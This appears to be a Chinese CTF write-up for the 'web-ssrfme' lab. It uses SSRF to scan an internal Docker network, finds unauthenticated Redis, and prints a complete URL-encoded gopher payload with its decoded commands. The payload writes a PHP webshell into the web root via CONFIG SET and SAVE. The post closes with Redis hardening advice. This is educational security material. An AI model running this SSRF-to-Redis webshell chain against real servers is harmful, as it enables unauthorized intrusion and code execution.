Web-ssrfme 2月公开赛 --SSRF及redis未授权访问

【题目考查的技术点】

  • SSRF

  • redis未授权访问

  • SSRF攻击内网主机上的redis

1.部署web-ssrf

web-ssrf资源

 解压后有docker-compose.yml文件:

 

直接部署即可:

docker-compose up -d

部署后有两个容器:

  •  ctf/ssrfme是apache服务器 
  • web-ssrfme_redis是redis数据库

访问8091端口 :

可以通过get传参"info"获取服务器信息:

获得信息:服务器的内网ip地址是172.19.0.2,可以通过传参url,访问该服务器下的其他站点。

可以通过url传参访问内网资源。

2.利用 SSRF 扫描内网 IP 段及端口

使用Yakit的Fuzztag功能

插入数字:

扫描172.19.0.1-172.19.0.255 这个网段,看是否还有其他服务器:

发现还有172.19.0.3服务器

扫描端口 :

发现还有一个6379的开放端口

测试端口:返回的是一个redis数据库的报错

3.使用Gopherus生成shell.php

Gopherus-github

 Gophersus:自动生成已编码的 Redis 攻击 Payload

 部署方式:

部署时需要python2,这是python的老版本了,版本较高的Ubuntu(测试时用的20.0.4) 不会自带python2,用python3不兼容。

使用清华源时无法访问,临时改成阿里云的源

切换为阿里云的源,并更新缓存:

sudo sed -i 's|mirrors.tuna.tsinghua.edu.cn|archive.ubuntu.com|g' /etc/apt/sources.list
sudo apt-get update

安装python2

apt install python2

安装完成后查看版本

启动Gopherus并构造shell.php:

由于在浏览器和redis中,都会进行一次URL解码

4.利用Gopher协议访问redis

Gopher协议简介:

Gopher 是一种早期的 互联网信息检索协议,诞生于 1991 年(比 HTTP 更早),由明尼苏达大学开发。它的设计目标是 以层级菜单形式组织资源,类似“文件目录”的浏览方式,适合在低带宽环境下高效传输文本信息。尽管现在已被 HTTP 取代,但在某些场景(如网络安全测试)中仍有应用。

Gopher 协议发送 HTTP 请求:

  • 将换行符替换为 %0D%0A
  • 空格替换为 %20
  • 其他特殊字符也需编码

写入shell

尝试写入html目录中:

页面一直在加载,说明payload成功运转。

访问shell.php:

发现没有找到shell.php  

考虑是否有其他目录能写入。

用字典遍历目录:

目录字典地址: 目录字典github

发现html下还有一个目录为upload:

构造upload目录下的payload:

gopher%3A%2F%2F172%2E19%2E0%2E3%3A6379%2F%5F%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520%2Fflag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell%2Ephp%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

解码结果:

gopher://172.19.0.3:6379/_*1
$8
flushall  #清空 Redis 所有数据库
*3
$3
set
$1
1
$32


<?php system("cat /flag");?>  #落盘内容


*4
$6
config
$3
set
$3
dir
$13
/var/www/html    #将Redis 持久化目录改为 /var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php    #将持久化文件名设为 shell.php
*1
$4
save   #触发持久化

 尝试写入该目录下:一直在加载状态

 访问shell.php

成功获得flag。

总结:

技术点:

  • SSRF 漏洞:利用 Web 服务的参数(如 url)访问内网资源。

  • Redis 未授权访问:Redis 无密码且暴露内网端口,允许直接执行命令。

  • Gopher 协议:通过 TCP 隧道发送原始 Redis 命令(需手动构造 RESP 协议格式)。

  • 持久化攻击:篡改 Redis 配置,将数据保存为 Web 可访问的 PHP 文件

漏洞利用条件:

  1. Redis 未设置密码且允许外网访问。

  2. Redis 运行用户有权限写入 Web 目录。

  3. 存在 SSRF 漏洞或可发送 Gopher 请求。

防御措施:

1.Redis 安全配置

# redis.conf
bind 127.0.0.1                     # 仅允许本地访问
requirepass yourpassword           # 设置密码
rename-command FLUSHALL ""         # 禁用高危命令
rename-command CONFIG ""

2.文件权限控制

  • 禁止 Redis 运行用户写入 Web 目录。

  • 设置 Web 目录不可执行 PHP:

location ~ /.*\.php$ { deny all; }

3.网络隔离

  • Redis 不暴露在公网。

  • 使用防火墙限制访问来源 IP。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值